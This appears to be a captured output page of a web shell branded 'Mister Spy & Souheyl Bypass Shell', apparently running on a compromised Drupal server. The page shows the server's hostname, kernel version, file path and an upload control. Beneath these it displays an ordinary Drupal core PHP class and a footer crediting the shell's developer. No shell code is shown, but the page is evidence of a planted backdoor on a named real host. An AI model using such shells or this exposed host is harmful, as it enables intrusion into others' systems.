Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor3/web/core/lib/Drupal/Core/Template/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor3/web/core/lib/Drupal/Core/Template/RemoveCheckToStringNodeVisitor.php

<?php

declare(strict_types=1);

namespace Drupal\Core\Template;

use Twig\Environment;
use Twig\Node\CheckToStringNode;
use Twig\Node\Node;
use Twig\NodeVisitor\NodeVisitorInterface;

/**
 * Defines a TwigNodeVisitor that replaces CheckToStringNodes.
 *
 * Twig 3.14.1 resulted in a performance regression in Drupal due to checking if
 * __toString is an allowed method on objects. __toString is allowed on all
 * objects when Drupal's default SandboxPolicy is active. Therefore, Twig's
 * SandboxExtension checks are unnecessary.
 */
final class RemoveCheckToStringNodeVisitor implements NodeVisitorInterface {

  /**
   * {@inheritdoc}
   */
  public function enterNode(Node $node, Environment $env): Node {
    if ($node instanceof CheckToStringNode) {
      // Replace CheckToStringNode with the faster equivalent, __toString is an
      // allowed method so any checking of __toString on a per-object basis is
      // performance overhead.
      $new = new TwigSimpleCheckToStringNode($node->getNode('expr'));
      // @todo https://www.drupal.org/project/drupal/issues/3488584 Update for
      //   Twig 4 as the spread attribute has been removed there.
      if ($node->hasAttribute('spread')) {
        $new->setAttribute('spread', $node->getAttribute('spread'));
      }
      return $new;
    }
    return $node;
  }

  /**
   * {@inheritdoc}
   */
  public function leaveNode(Node $node, Environment $env): ?Node {
    return $node;
  }

  /**
   * {@inheritdoc}
   */
  public function getPriority() {
    // Runs after sandbox visitor.
    return 1;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net